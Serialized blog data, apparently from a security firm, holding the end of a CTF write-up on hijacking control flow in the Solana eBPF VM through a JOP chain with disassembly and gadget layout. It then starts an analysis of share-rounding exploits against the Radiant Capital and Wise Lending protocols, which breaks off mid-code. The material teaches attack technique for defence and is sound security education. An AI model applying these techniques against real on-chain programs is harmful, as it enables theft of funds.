79a1c8ff00000000",{"type":19,"tag":168,"props":42583,"children":42584},{"style":393},[42585],{"type":24,"value":41606},{"type":19,"tag":168,"props":42587,"children":42588},{"style":393},[42589],{"type":24,"value":41900},{"type":19,"tag":168,"props":42591,"children":42592},{"style":212},[42593],{"type":24,"value":41616},{"type":19,"tag":168,"props":42595,"children":42596},{"style":393},[42597],{"type":24,"value":41621},{"type":19,"tag":168,"props":42599,"children":42600},{"style":399},[42601],{"type":24,"value":1757},{"type":19,"tag":168,"props":42603,"children":42604},{"style":192},[42605],{"type":24,"value":42606},"56",{"type":19,"tag":168,"props":42608,"children":42609},{"style":212},[42610],{"type":24,"value":41635},{"type":19,"tag":168,"props":42612,"children":42613},{"style":393},[42614],{"type":24,"value":42615},"var_38",{"type":19,"tag":168,"props":42617,"children":42618},{"style":212},[42619],{"type":24,"value":1326},{"type":19,"tag":168,"props":42621,"children":42622},{"class":170,"line":6655},[42623,42628,42632,42636,42640,42644],{"type":19,"tag":168,"props":42624,"children":42625},{"style":393},[42626],{"type":24,"value":42627},"100001c58",{"type":19,"tag":168,"props":42629,"children":42630},{"style":393},[42631],{"type":24,"value":42419},{"type":19,"tag":168,"props":42633,"children":42634},{"style":393},[42635],{"type":24,"value":41895},{"type":19,"tag":168,"props":42637,"children":42638},{"style":393},[42639],{"type":24,"value":41666},{"type":19,"tag":168,"props":42641,"children":42642},{"style":212},[42643],{"type":24,"value":471},{"type":19,"tag":168,"props":42645,"children":42646},{"style":192},[42647],{"type":24,"value":42436},{"type":19,"tag":168,"props":42649,"children":42650},{"class":170,"line":20965},[42651,42656,42661,42665],{"type":19,"tag":168,"props":42652,"children":42653},{"style":393},[42654],{"type":24,"value":42655},"100001c60",{"type":19,"tag":168,"props":42657,"children":42658},{"style":393},[42659],{"type":24,"value":42660}," 85100000fefdffff",{"type":19,"tag":168,"props":42662,"children":42663},{"style":393},[42664],{"type":24,"value":41817},{"type":19,"tag":168,"props":42666,"children":42667},{"style":393},[42668],{"type":24,"value":42458},{"type":19,"tag":168,"props":42670,"children":42671},{"class":170,"line":21000},[42672],{"type":19,"tag":168,"props":42673,"children":42674},{"emptyLinePlaceholder":14},[42675],{"type":24,"value":1093},{"type":19,"tag":168,"props":42677,"children":42678},{"class":170,"line":21008},[42679,42684,42689,42694,42699,42704],{"type":19,"tag":168,"props":42680,"children":42681},{"style":393},[42682],{"type":24,"value":42683},"100001c68",{"type":19,"tag":168,"props":42685,"children":42686},{"style":192},[42687],{"type":24,"value":42688}," 9500000000000000",{"type":19,"tag":168,"props":42690,"children":42691},{"style":393},[42692],{"type":24,"value":42693}," exit",{"type":19,"tag":168,"props":42695,"children":42696},{"style":212},[42697],{"type":24,"value":42698}," {",{"type":19,"tag":168,"props":42700,"children":42701},{"style":393},[42702],{"type":24,"value":42703},"__return_addr",{"type":19,"tag":168,"props":42705,"children":42706},{"style":212},[42707],{"type":24,"value":1326},{"type":19,"tag":20,"props":42709,"children":42710},{},[42711,42713,42719],{"type":24,"value":42712},"Which, assuming that ",{"type":19,"tag":27,"props":42714,"children":42716},{"className":42715},[],[42717],{"type":24,"value":42718},"sol_invoke_signed_rust",{"type":24,"value":42720}," returns 0, is doing the following:",{"type":19,"tag":2869,"props":42722,"children":42723},{},[42724,42733,42742],{"type":19,"tag":47,"props":42725,"children":42726},{},[42727],{"type":19,"tag":27,"props":42728,"children":42730},{"className":42729},[],[42731],{"type":24,"value":42732},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":19,"tag":47,"props":42734,"children":42735},{},[42736],{"type":19,"tag":27,"props":42737,"children":42739},{"className":42738},[],[42740],{"type":24,"value":42741},"*[r10-120] = 0x18",{"type":19,"tag":47,"props":42743,"children":42744},{},[42745,42747,42753,42755,42762],{"type":24,"value":42746},"Calls ",{"type":19,"tag":27,"props":42748,"children":42750},{"className":42749},[],[42751],{"type":24,"value":42752},"__rust_dealloc",{"type":24,"value":42754},", which in default circumstances is a ",{"type":19,"tag":269,"props":42756,"children":42759},{"href":42757,"rel":42758},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[273],[42760],{"type":24,"value":42761},"NOP",{"type":24,"value":948},{"type":19,"tag":20,"props":42764,"children":42765},{},[42766],{"type":24,"value":42767},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":19,"tag":20,"props":42769,"children":42770},{},[42771],{"type":24,"value":42772},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":19,"tag":20,"props":42774,"children":42775},{},[42776,42778,42785],{"type":24,"value":42777},"Looking at the ",{"type":19,"tag":269,"props":42779,"children":42782},{"href":42780,"rel":42781},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[273],[42783],{"type":24,"value":42784},"definition",{"type":24,"value":42786},", it's not crystal clear what the parameters are:",{"type":19,"tag":158,"props":42788,"children":42790},{"className":363,"code":42789,"language":362,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[42791],{"type":19,"tag":27,"props":42792,"children":42793},{"__ignoreMap":7},[42794],{"type":19,"tag":168,"props":42795,"children":42796},{"class":170,"line":171},[42797,42801,42806,42810,42815,42819,42823,42827,42831,42835,42840,42844,42848,42852,42856,42860,42865,42869,42873,42877,42882,42886,42890,42894,42898,42902,42907,42911,42915,42919,42923],{"type":19,"tag":168,"props":42798,"children":42799},{"style":382},[42800],{"type":24,"value":17721},{"type":19,"tag":168,"props":42802,"children":42803},{"style":175},[42804],{"type":24,"value":42805}," sol_invoke_signed_rust",{"type":19,"tag":168,"props":42807,"children":42808},{"style":212},[42809],{"type":24,"value":500},{"type":19,"tag":168,"props":42811,"children":42812},{"style":393},[42813],{"type":24,"value":42814},"instruction_addr",{"type":19,"tag":168,"props":42816,"children":42817},{"style":399},[42818],{"type":24,"value":1922},{"type":19,"tag":168,"props":42820,"children":42821},{"style":399},[42822],{"type":24,"value":7259},{"type":19,"tag":168,"props":42824,"children":42825},{"style":382},[42826],{"type":24,"value":7097},{"type":19,"tag":168,"props":42828,"children":42829},{"style":825},[42830],{"type":24,"value":12080},{"type":19,"tag":168,"props":42832,"children":42833},{"style":212},[42834],{"type":24,"value":471},{"type":19,"tag":168,"props":42836,"children":42837},{"style":393},[42838],{"type":24,"value":42839},"account_infos_addr",{"type":19,"tag":168,"props":42841,"children":42842},{"style":399},[42843],{"type":24,"value":1922},{"type":19,"tag":168,"props":42845,"children":42846},{"style":399},[42847],{"type":24,"value":7259},{"type":19,"tag":168,"props":42849,"children":42850},{"style":382},[42851],{"type":24,"value":7097},{"type":19,"tag":168,"props":42853,"children":42854},{"style":825},[42855],{"type":24,"value":12080},{"type":19,"tag":168,"props":42857,"children":42858},{"style":212},[42859],{"type":24,"value":471},{"type":19,"tag":168,"props":42861,"children":42862},{"style":393},[42863],{"type":24,"value":42864},"account_infos_len",{"type":19,"tag":168,"props":42866,"children":42867},{"style":399},[42868],{"type":24,"value":1922},{"type":19,"tag":168,"props":42870,"children":42871},{"style":825},[42872],{"type":24,"value":3294},{"type":19,"tag":168,"props":42874,"children":42875},{"style":212},[42876],{"type":24,"value":471},{"type":19,"tag":168,"props":42878,"children":42879},{"style":393},[42880],{"type":24,"value":42881},"signers_seeds_addr",{"type":19,"tag":168,"props":42883,"children":42884},{"style":399},[42885],{"type":24,"value":1922},{"type":19,"tag":168,"props":42887,"children":42888},{"style":399},[42889],{"type":24,"value":7259},{"type":19,"tag":168,"props":42891,"children":42892},{"style":382},[42893],{"type":24,"value":7097},{"type":19,"tag":168,"props":42895,"children":42896},{"style":825},[42897],{"type":24,"value":12080},{"type":19,"tag":168,"props":42899,"children":42900},{"style":212},[42901],{"type":24,"value":471},{"type":19,"tag":168,"props":42903,"children":42904},{"style":393},[42905],{"type":24,"value":42906},"signers_seeds_len",{"type":19,"tag":168,"props":42908,"children":42909},{"style":399},[42910],{"type":24,"value":1922},{"type":19,"tag":168,"props":42912,"children":42913},{"style":825},[42914],{"type":24,"value":3294},{"type":19,"tag":168,"props":42916,"children":42917},{"style":212},[42918],{"type":24,"value":481},{"type":19,"tag":168,"props":42920,"children":42921},{"style":399},[42922],{"type":24,"value":11203},{"type":19,"tag":168,"props":42924,"children":42925},{"style":825},[42926],{"type":24,"value":10642},{"type":19,"tag":20,"props":42928,"children":42929},{},[42930,42932,42937,42939,42946],{"type":24,"value":42931},"The source of ",{"type":19,"tag":269,"props":42933,"children":42935},{"href":42934},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[42936],{"type":24,"value":41547},{"type":24,"value":42938}," helps a lot, but looking at the actual ",{"type":19,"tag":269,"props":42940,"children":42943},{"href":42941,"rel":42942},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[273],[42944],{"type":24,"value":42945},"implementation",{"type":24,"value":42947}," provides more clarity:",{"type":19,"tag":43,"props":42949,"children":42950},{},[42951],{"type":19,"tag":47,"props":42952,"children":42953},{},[42954,42959,42961,42968],{"type":19,"tag":27,"props":42955,"children":42957},{"className":42956},[],[42958],{"type":24,"value":42814},{"type":24,"value":42960}," points to a ",{"type":19,"tag":269,"props":42962,"children":42965},{"href":42963,"rel":42964},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[273],[42966],{"type":24,"value":42967},"StableInstruction",{"type":24,"value":1922},{"type":19,"tag":20,"props":42970,"children":42971},{},[42972],{"type":19,"tag":1344,"props":42973,"children":42975},{"alt":42967,"src":42974},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":19,"tag":43,"props":42977,"children":42978},{},[42979,43004],{"type":19,"tag":47,"props":42980,"children":42981},{},[42982,42987,42989,42994,42996,43003],{"type":19,"tag":27,"props":42983,"children":42985},{"className":42984},[],[42986],{"type":24,"value":42839},{"type":24,"value":42988}," points to a slice of ",{"type":19,"tag":27,"props":42990,"children":42992},{"className":42991},[],[42993],{"type":24,"value":42864},{"type":24,"value":42995}," ",{"type":19,"tag":269,"props":42997,"children":43000},{"href":42998,"rel":42999},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[273],[43001],{"type":24,"value":43002},"AccountInfos",{"type":24,"value":948},{"type":19,"tag":47,"props":43005,"children":43006},{},[43007,43012,43014,43019,43021,43026],{"type":19,"tag":27,"props":43008,"children":43010},{"className":43009},[],[43011],{"type":24,"value":42881},{"type":24,"value":43013}," is a bit trickier, it points to a slice of length ",{"type":19,"tag":27,"props":43015,"children":43017},{"className":43016},[],[43018],{"type":24,"value":42906},{"type":24,"value":43020},", containing slices of ",{"type":19,"tag":27,"props":43022,"children":43024},{"className":43023},[],[43025],{"type":24,"value":828},{"type":24,"value":948},{"type":19,"tag":20,"props":43028,"children":43029},{},[43030],{"type":19,"tag":1344,"props":43031,"children":43034},{"alt":43032,"src":43033},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":19,"tag":20,"props":43036,"children":43037},{},[43038,43040,43045],{"type":24,"value":43039},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":19,"tag":293,"props":43041,"children":43042},{},[43043],{"type":24,"value":43044},"future call frames",{"type":24,"value":948},{"type":19,"tag":20,"props":43047,"children":43048},{},[43049,43051,43058],{"type":24,"value":43050},"Now that we have all the parts, all we need is to string it together. The full ",{"type":19,"tag":269,"props":43052,"children":43055},{"href":43053,"rel":43054},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[273],[43056],{"type":24,"value":43057},"reference solution can be found here",{"type":24,"value":948},{"type":19,"tag":20,"props":43060,"children":43061},{},[43062],{"type":24,"value":43063},"Here's a visualization of the final JOP chain.",{"type":19,"tag":158,"props":43065,"children":43067},{"className":41429,"code":43066,"language":41431,"meta":7,"style":7},"graph BT\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: Write account_infos.ptr to target_r10 - 136]\n C --> E[3: process]\n E --> F[4: Write account_infos.len to target_r10 - 128]\n E --> G[4: process]\n G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n G --> I[5: process]\n I --> J[6: Write signers_seeds.len to target_r10 - 144]\n I --> K[6: process]\n K --> M[7: Write HeapBase to target_r10 - 120]\n K --> N[7: process]\n N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n N --> O[8: Write 0x4337 to the account]\n",[43068],{"type":19,"tag":27,"props":43069,"children":43070},{"__ignoreMap":7},[43071,43079,43086,43093,43101,43108,43116,43124,43132,43140,43148,43156,43164,43172,43180],{"type":19,"tag":168,"props":43072,"children":43073},{"class":170,"line":171},[43074],{"type":19,"tag":168,"props":43075,"children":43076},{},[43077],{"type":24,"value":43078},"graph BT\n",{"type":19,"tag":168,"props":43080,"children":43081},{"class":170,"line":198},[43082],{"type":19,"tag":168,"props":43083,"children":43084},{},[43085],{"type":24,"value":41451},{"type":19,"tag":168,"props":43087,"children":43088},{"class":170,"line":415},[43089],{"type":19,"tag":168,"props":43090,"children":43091},{},[43092],{"type":24,"value":41459},{"type":19,"tag":168,"props":43094,"children":43095},{"class":170,"line":450},[43096],{"type":19,"tag":168,"props":43097,"children":43098},{},[43099],{"type":24,"value":43100}," C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":19,"tag":168,"props":43102,"children":43103},{"class":170,"line":560},[43104],{"type":19,"tag":168,"props":43105,"children":43106},{},[43107],{"type":24,"value":41475},{"type":19,"tag":168,"props":43109,"children":43110},{"class":170,"line":666},[43111],{"type":19,"tag":168,"props":43112,"children":43113},{},[43114],{"type":24,"value":43115}," E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":19,"tag":168,"props":43117,"children":43118},{"class":170,"line":694},[43119],{"type":19,"tag":168,"props":43120,"children":43121},{},[43122],{"type":24,"value":43123}," E --> G[4: process]\n",{"type":19,"tag":168,"props":43125,"children":43126},{"class":170,"line":707},[43127],{"type":19,"tag":168,"props":43128,"children":43129},{},[43130],{"type":24,"value":43131}," G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":19,"tag":168,"props":43133,"children":43134},{"class":170,"line":725},[43135],{"type":19,"tag":168,"props":43136,"children":43137},{},[43138],{"type":24,"value":43139}," G --> I[5: process]\n",{"type":19,"tag":168,"props":43141,"children":43142},{"class":170,"line":746},[43143],{"type":19,"tag":168,"props":43144,"children":43145},{},[43146],{"type":24,"value":43147}," I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":19,"tag":168,"props":43149,"children":43150},{"class":170,"line":755},[43151],{"type":19,"tag":168,"props":43152,"children":43153},{},[43154],{"type":24,"value":43155}," I --> K[6: process]\n",{"type":19,"tag":168,"props":43157,"children":43158},{"class":170,"line":1008},[43159],{"type":19,"tag":168,"props":43160,"children":43161},{},[43162],{"type":24,"value":43163}," K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":19,"tag":168,"props":43165,"children":43166},{"class":170,"line":1025},[43167],{"type":19,"tag":168,"props":43168,"children":43169},{},[43170],{"type":24,"value":43171}," K --> N[7: process]\n",{"type":19,"tag":168,"props":43173,"children":43174},{"class":170,"line":1042},[43175],{"type":19,"tag":168,"props":43176,"children":43177},{},[43178],{"type":24,"value":43179}," N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":19,"tag":168,"props":43181,"children":43182},{"class":170,"line":1055},[43183],{"type":19,"tag":168,"props":43184,"children":43185},{},[43186],{"type":24,"value":43187}," N --> O[8: Write 0x4337 to the account]\n",{"type":19,"tag":20,"props":43189,"children":43190},{},[43191,43193,43199],{"type":24,"value":43192},"Small note: ",{"type":19,"tag":27,"props":43194,"children":43196},{"className":43195},[],[43197],{"type":24,"value":43198},"target_r10",{"type":24,"value":43200}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":19,"tag":158,"props":43202,"children":43204},{"className":363,"code":43203,"language":362,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n 0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[43205],{"type":19,"tag":27,"props":43206,"children":43207},{"__ignoreMap":7},[43208,43253,43288,43295],{"type":19,"tag":168,"props":43209,"children":43210},{"class":170,"line":171},[43211,43215,43220,43224,43229,43233,43237,43241,43245,43249],{"type":19,"tag":168,"props":43212,"children":43213},{"style":382},[43214],{"type":24,"value":17721},{"type":19,"tag":168,"props":43216,"children":43217},{"style":175},[43218],{"type":24,"value":43219}," call_frame_addr",{"type":19,"tag":168,"props":43221,"children":43222},{"style":212},[43223],{"type":24,"value":500},{"type":19,"tag":168,"props":43225,"children":43226},{"style":393},[43227],{"type":24,"value":43228},"depth",{"type":19,"tag":168,"props":43230,"children":43231},{"style":399},[43232],{"type":24,"value":1922},{"type":19,"tag":168,"props":43234,"children":43235},{"style":825},[43236],{"type":24,"value":3294},{"type":19,"tag":168,"props":43238,"children":43239},{"style":212},[43240],{"type":24,"value":481},{"type":19,"tag":168,"props":43242,"children":43243},{"style":399},[43244],{"type":24,"value":11203},{"type":19,"tag":168,"props":43246,"children":43247},{"style":825},[43248],{"type":24,"value":3294},{"type":19,"tag":168,"props":43250,"children":43251},{"style":212},[43252],{"type":24,"value":691},{"type":19,"tag":168,"props":43254,"children":43255},{"class":170,"line":198},[43256,43261,43265,43270,43274,43279,43283],{"type":19,"tag":168,"props":43257,"children":43258},{"style":192},[43259],{"type":24,"value":43260}," 0x200000000",{"type":19,"tag":168,"props":43262,"children":43263},{"style":399},[43264],{"type":24,"value":6343},{"type":19,"tag":168,"props":43266,"children":43267},{"style":192},[43268],{"type":24,"value":43269}," 0x2000",{"type":19,"tag":168,"props":43271,"children":43272},{"style":399},[43273],{"type":24,"value":7259},{"type":19,"tag":168,"props":43275,"children":43276},{"style":393},[43277],{"type":24,"value":43278}," depth",{"type":19,"tag":168,"props":43280,"children":43281},{"style":399},[43282],{"type":24,"value":6343},{"type":19,"tag":168,"props":43284,"children":43285},{"style":192},[43286],{"type":24,"value":43287}," 0x1000\n",{"type":19,"tag":168,"props":43289,"children":43290},{"class":170,"line":415},[43291],{"type":19,"tag":168,"props":43292,"children":43293},{"style":212},[43294],{"type":24,"value":1326},{"type":19,"tag":168,"props":43296,"children":43297},{"class":170,"line":450},[43298],{"type":19,"tag":168,"props":43299,"children":43300},{"style":373},[43301],{"type":24,"value":43302},"// call_frame_addr(8) = 0x200011000\n",{"type":19,"tag":36,"props":43304,"children":43305},{"id":26402},[43306],{"type":24,"value":16400},{"type":19,"tag":20,"props":43308,"children":43309},{},[43310,43312,43319],{"type":24,"value":43311},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":19,"tag":269,"props":43313,"children":43316},{"href":43314,"rel":43315},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[273],[43317],{"type":24,"value":43318},"they do exist",{"type":24,"value":948},{"type":19,"tag":20,"props":43321,"children":43322},{},[43323],{"type":24,"value":43324},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":19,"tag":20,"props":43326,"children":43327},{},[43328,43330,43335],{"type":24,"value":43329},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":19,"tag":293,"props":43331,"children":43332},{},[43333],{"type":24,"value":43334},"entire",{"type":24,"value":43336}," runtime.",{"type":19,"tag":232,"props":43338,"children":43339},{},[43340],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":43342},[43343,43347,43348,43351],{"id":16409,"depth":198,"text":16412,"children":43344},[43345,43346],{"id":38017,"depth":415,"text":38020},{"id":39336,"depth":415,"text":39339},{"id":40575,"depth":198,"text":40578},{"id":41411,"depth":198,"text":41414,"children":43349},[43350],{"id":41525,"depth":415,"text":41528},{"id":26402,"depth":198,"text":16400},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":43356,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":43357,"description":43358,"author":43359,"image":43360,"date":43362,"isFeatured":14,"onBlogPage":14,"body":43363,"_type":242,"_id":44509,"_source":244,"_file":44510,"_stem":44511,"_extension":247},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[3153],{"src":43361},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":16,"children":43364,"toc":44498},[43365,43369,43397,43402,43415,43420,43426,43431,43436,43441,43446,43459,43471,43491,43511,43516,43521,43539,43545,43550,43556,43570,43583,43588,43594,43608,43613,43635,43868,43873,43878,43891,44131,44141,44146,44152,44157,44162,44195,44200,44211,44217,44222,44236,44364,44378,44454,44459,44470,44475,44480,44484,44489,44494],{"type":19,"tag":36,"props":43366,"children":43367},{"id":26485},[43368],{"type":24,"value":26488},{"type":19,"tag":20,"props":43370,"children":43371},{},[43372,43374,43381,43382,43389,43391,43396],{"type":24,"value":43373},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":19,"tag":269,"props":43375,"children":43378},{"href":43376,"rel":43377},"https://neodyme.io/de/blog/lending_disclosure",[273],[43379],{"type":24,"value":43380},"fast",{"type":24,"value":471},{"type":19,"tag":269,"props":43383,"children":43386},{"href":43384,"rel":43385},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[273],[43387],{"type":24,"value":43388},"cheap",{"type":24,"value":43390}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":19,"tag":293,"props":43392,"children":43393},{},[43394],{"type":24,"value":43395},"Most people haven't considered what happens when shares are worth a lot",{"type":24,"value":948},{"type":19,"tag":20,"props":43398,"children":43399},{},[43400],{"type":24,"value":43401},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":19,"tag":2869,"props":43403,"children":43404},{},[43405,43410],{"type":19,"tag":47,"props":43406,"children":43407},{},[43408],{"type":24,"value":43409},"Inflate share value (token to share conversion rate)",{"type":19,"tag":47,"props":43411,"children":43412},{},[43413],{"type":24,"value":43414},"Exploit rounding bug",{"type":19,"tag":20,"props":43416,"children":43417},{},[43418],{"type":24,"value":43419},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":19,"tag":36,"props":43421,"children":43423},{"id":43422},"model",[43424],{"type":24,"value":43425},"Model",{"type":19,"tag":20,"props":43427,"children":43428},{},[43429],{"type":24,"value":43430},"Before we dive in, there's some helpful background information we'll share first.",{"type":19,"tag":20,"props":43432,"children":43433},{},[43434],{"type":24,"value":43435},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":19,"tag":20,"props":43437,"children":43438},{},[43439],{"type":24,"value":43440},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":19,"tag":20,"props":43442,"children":43443},{},[43444],{"type":24,"value":43445},"This question is more complex than it may appear. Let's walk through an example.",{"type":19,"tag":20,"props":43447,"children":43448},{},[43449,43451,43457],{"type":24,"value":43450},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":19,"tag":27,"props":43452,"children":43454},{"className":43453},[],[43455],{"type":24,"value":43456},"1000:1000",{"type":24,"value":43458}," (1000 tokens to 1000 shares).",{"type":19,"tag":20,"props":43460,"children":43461},{},[43462,43464,43470],{"type":24,"value":43463},"After accruing fees, the pool gains one token for a new ratio of ",{"type":19,"tag":27,"props":43465,"children":43467},{"className":43466},[],[43468],{"type":24,"value":43469},"1001:1000",{"type":24,"value":948},{"type":19,"tag":20,"props":43472,"children":43473},{},[43474,43476,43482,43484,43489],{"type":24,"value":43475},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":19,"tag":27,"props":43477,"children":43479},{"className":43478},[],[43480],{"type":24,"value":43481},"1001/1000*999 = 999.999",{"type":24,"value":43483},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":19,"tag":293,"props":43485,"children":43486},{},[43487],{"type":24,"value":43488},"down",{"type":24,"value":43490}," against the user.",{"type":19,"tag":20,"props":43492,"children":43493},{},[43494,43496,43502,43504,43510],{"type":24,"value":43495},"If we give the user 999 tokens, the new pool state is ",{"type":19,"tag":27,"props":43497,"children":43499},{"className":43498},[],[43500],{"type":24,"value":43501},"2:1",{"type":24,"value":43503},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":19,"tag":27,"props":43505,"children":43507},{"className":43506},[],[43508],{"type":24,"value":43509},"3:1",{"type":24,"value":948},{"type":19,"tag":20,"props":43512,"children":43513},{},[43514],{"type":24,"value":43515},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":19,"tag":20,"props":43517,"children":43518},{},[43519],{"type":24,"value":43520},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":19,"tag":2869,"props":43522,"children":43523},{},[43524,43529,43534],{"type":19,"tag":47,"props":43525,"children":43526},{},[43527],{"type":24,"value":43528},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":19,"tag":47,"props":43530,"children":43531},{},[43532],{"type":24,"value":43533},"When you withdraw, are you withdrawing shares or tokens?",{"type":19,"tag":47,"props":43535,"children":43536},{},[43537],{"type":24,"value":43538},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":19,"tag":36,"props":43540,"children":43542},{"id":43541},"decisions",[43543],{"type":24,"value":43544},"Decisions",{"type":19,"tag":20,"props":43546,"children":43547},{},[43548],{"type":24,"value":43549},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":19,"tag":7050,"props":43551,"children":43553},{"id":43552},"radiant-capital",[43554],{"type":24,"value":43555},"Radiant Capital",{"type":19,"tag":20,"props":43557,"children":43558},{},[43559,43561,43568],{"type":24,"value":43560},"Radiant Capital was ",{"type":19,"tag":269,"props":43562,"children":43565},{"href":43563,"rel":43564},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[273],[43566],{"type":24,"value":43567},"hacked on Jan 2nd",{"type":24,"value":43569}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":19,"tag":20,"props":43571,"children":43572},{},[43573,43575,43582],{"type":24,"value":43574},"The exploit is relatively straightforward and ",{"type":19,"tag":269,"props":43576,"children":43579},{"href":43577,"rel":43578},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[273],[43580],{"type":24,"value":43581},"has already been covered previously",{"type":24,"value":948},{"type":19,"tag":20,"props":43584,"children":43585},{},[43586],{"type":24,"value":43587},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":19,"tag":7050,"props":43589,"children":43591},{"id":43590},"wise-lending",[43592],{"type":24,"value":43593},"Wise Lending",{"type":19,"tag":20,"props":43595,"children":43596},{},[43597,43599,43606],{"type":24,"value":43598},"Wise Lending was ",{"type":19,"tag":269,"props":43600,"children":43603},{"href":43601,"rel":43602},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[273],[43604],{"type":24,"value":43605},"hacked on January 13th",{"type":24,"value":43607}," for just under $460,000.",{"type":19,"tag":20,"props":43609,"children":43610},{},[43611],{"type":24,"value":43612},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":19,"tag":20,"props":43614,"children":43615},{},[43616,43618,43625,43627,43634],{"type":24,"value":43617},"This is ",{"type":19,"tag":269,"props":43619,"children":43622},{"href":43620,"rel":43621},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[273],[43623],{"type":24,"value":43624},"the code responsible",{"type":24,"value":43626}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":19,"tag":269,"props":43628,"children":43631},{"href":43629,"rel":43630},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[273],[43632],{"type":24,"value":43633},"no way to atomically self-bankrupt",{"type":24,"value":948},{"type":19,"tag":158,"props":43636,"children":43638},{"className":1905,"code":43637,"language":1904,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n _poolToken,\n _amount\n)\n * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n / PRECISION_FACTOR_E18\n \u003C borrowAmount;\n\nif (state == true) {\n revert 